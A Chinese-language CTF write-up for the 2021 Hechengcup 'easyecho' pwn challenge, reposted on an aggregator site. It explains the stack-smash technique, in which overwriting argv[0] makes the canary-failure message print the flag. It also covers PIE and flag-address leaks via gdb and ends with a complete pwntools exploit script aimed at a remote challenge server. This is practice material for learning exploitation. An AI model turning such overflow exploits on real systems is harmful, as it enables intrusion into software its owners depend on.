【PWN · Stack Smash】[2021 鹤城杯]easyecho

这篇具有很好参考价值的文章主要介绍了【PWN · Stack Smash】[2021 鹤城杯]easyecho。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

花式栈溢出——Canary保护是吧?接化发,拿来吧你


目录

前言

一、代码分析

0.保护

1.main函数

2.sub_CF0()函数 (v9指向的函数)

二、Stack Smash过程

0.原理简述 

1.条件与准备

2.地址泄露

①真实地址泄露

②flag地址泄露

③argv[0]地址泄露

3.exp

总结 


前言

Canary保护,是在栈上插入一段随机数;进入函数后,也就是call完后会有push ebp,mov ebp,esp,最后来个mov esp。canary保护特殊在上述操作后会再加一个canary。最后函数leave ret前会检测一次,canary与原先值是否相同来判断是否被栈溢出覆盖返回地址了。

然而,Smash这种方法,恰好是利用Canary保护机制,修改相关函数参数,泄露信息。详细介绍Smash的文章不在少数,本文主要聚焦于做出题目,因此重点(但非详细)阐述我所理解的重点部分。


一、代码分析

0.保护

全绿。。。这里方可从Canary下手。

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

存在这个函数,也是smash存在的标志之一。

值得注意的是,Stack Smash在libc2.23后就不可利用了。

1.main函数

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

大致流程是:读入name,开启server,如果backdoor,执行v9函数。

很明显第26行gets存在栈溢出漏洞。

2.sub_CF0()函数 (v9指向的函数)

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

将我们最关心的flag信息读取到了bss段上。 而调用这个函数,需要‘server’时,输入‘backdoor’。


二、Stack Smash过程

0.原理简述 

为了方便引出下述步骤,这里还是粗略地说明一下其中原理。

当Canary被修改后,函数返回时,检测到Canary错误,会调用 _stack_chk_fail() 函数,而这个函数会打印输入的文件名,即argv[0],存在栈上。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

试想一下:如果我们构造垃圾数据造成栈溢出,且修改了原本argv[0]的内容为flag存放地址,那么canary报错时,就会将flag地址的内容即flag字符串输出。这就达成了我们的目的。

1.条件与准备

按照上述原理,我们构造payload,需要知道以下信息:

  • PIE保护开启,需要泄露一个有用的真实地址
  • flag存放的地址
  • argv[0]的地址

2.地址泄露

①真实地址泄露

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

可以知道,sub_E40() 函数读取了16个字节的数据到存储空间为16个字节的字符串数组中。注意字符串在打印时遇到\x00才会停止。于是这里可以泄露栈上信息

通过gdb调试如下:

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

发现栈上紧随输入部分的是sub_CF0函数的真实地址 

于是——输入16个字符后,在随后的输出中,接收该地址。同时通过该条函数的偏移量,我们可以得到程序基址。


②flag地址泄露

在server时输入backdoor后,sub_CF0函数被调用,读取目录下的flag文件(本地自己创建)

在gdb调试时,等待flag文件输入完成,用search指令即可查找读入的字符串位置。

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

结合①泄露的地址,事实上,基址知道了,flag在bss段偏移0x202040 :

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

也可以印证。


③argv[0]地址泄露

注意,该地址应是栈上地址,而我们要做的是输入来溢出覆盖复写栈上内容。因此我们更加关心的是,该地址与我们输入的偏移量是多少。 

而我们的栈溢出漏洞点在gets()处,也即先前输入backdoor并循环执行的同一位置。

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

注意,由箭头关系我们知道,文件名字符串指针,存在栈上的地址为0x7fffffffe0f8,而非0x7fffffffe018!

计算输入位置到存储位置偏移量:

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出

然而0x178的偏移,带入后并不能成功得到答案。看了其他师傅的wp,同样的过程,他们的结果是0x168,可能是动态链接库版本的问题(?)这里存疑,求解答。


3.exp

from pwn import *
from pwn import p64,u64

context(arch="amd64",os="linux",log_level="debug")

io=process('./easyecho')
io=remote('node4.anna.nssctf.cn',28711)
io.recvuntil(b'name~')
io.send(b'a'*0x10)
io.recvuntil(b'a'*0x10)
addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(addr))
base_addr=addr-0xcf0
io.sendlineafter(b'Input: ',b'backdoor')
payload=b'a'*0x168+p64(base_addr+0x202040)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit') #ret才会触发canary检查
io.recv()
io.interactive()#交互才能得到stack报错信息

【PWN · Stack Smash】[2021 鹤城杯]easyecho,【PWN · 高级栈相关】,ctf,pwn,stackoverflow,stacksmash,花式栈溢出


总结

花式栈溢出刚接触,还是啃下来了。其他更多的内容,也要花时间啃!文章来源地址https://www.toymoban.com/news/detail-617996.html

到了这里,关于【PWN · Stack Smash】[2021 鹤城杯]easyecho的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Pwn系列之Protostar靶场 Stack6题解

    源码如下: 首先,我们先来分析这段程序在做什么? 第1-4行导入一些常见的库函数 第6行定义了getpath()函数 第8行定义了一个buffer数组,数组长度是64 第9行定义了一个unsigned int 变量,变量名ret 第11行打印输出字符串“input path please” 第13行用gets函数向buffer数组写入字符 第

    2023年04月18日
    浏览(34)
  • Pwn系列之Protostar靶场 Stack3题解

    这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了 这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。 找到了win函数的地址 现在只需要修改函数指针的地址到win函数即可。

    2023年04月18日
    浏览(39)
  • 从零开始搭建Ubuntu CTF-pwn环境

    最近因为学校考试所以没怎么看pwn,但是中间虚拟机崩掉过,问题还挺严重。前几天发现能正常打开了,但是一用gdb就会出现下面让人窒息的提醒: 怎么调都不知道是怎么回事,很奇怪的是只有在开gdb的时候才会弹出这个错误,其他都是正常的。问过师傅时候无奈只能放弃这

    2024年01月16日
    浏览(89)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(57)
  • CTF-PWN学习-为缺少指导的同学而生

      更新公告:         2023-7-5晚上21:12 已更新,对内容做了些调整。 调整如下:         添加 解题步骤描述          添加 专业名词描述         博主也是个PWN的入门者。PWN的入门不可能是无痛的。能做到的只是减少一点初学者的痛苦。这篇博客会长期维护,也会

    2024年02月07日
    浏览(42)
  • PWN学习之格式化字符串及CTF常见利用手法

    格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。 格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中  printf 、 sprintf 、 fprintf  等函数用于将数据格式化为字符串并进行输出

    2024年02月19日
    浏览(38)
  • pwn入门(1):kali配置相关环境(pwntools+gdb+peda)

    本菜鸟最近学习了缓冲区溢出的知识,打算针对wiki上基本ROP的攻击过程做一个复现,在这之前,首先要配置解pwn题的相关环境。本文就用kali虚拟机进行环境配置,这里做一个总结: 软件源更新 更新软件源,编辑/etc/apt/sources.list ,更换为阿里云/清华等国内镜像,这样后续下

    2024年02月10日
    浏览(34)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(33)
  • CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

    首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。 我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀! 根据题目的提示,我们

    2024年02月13日
    浏览(38)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包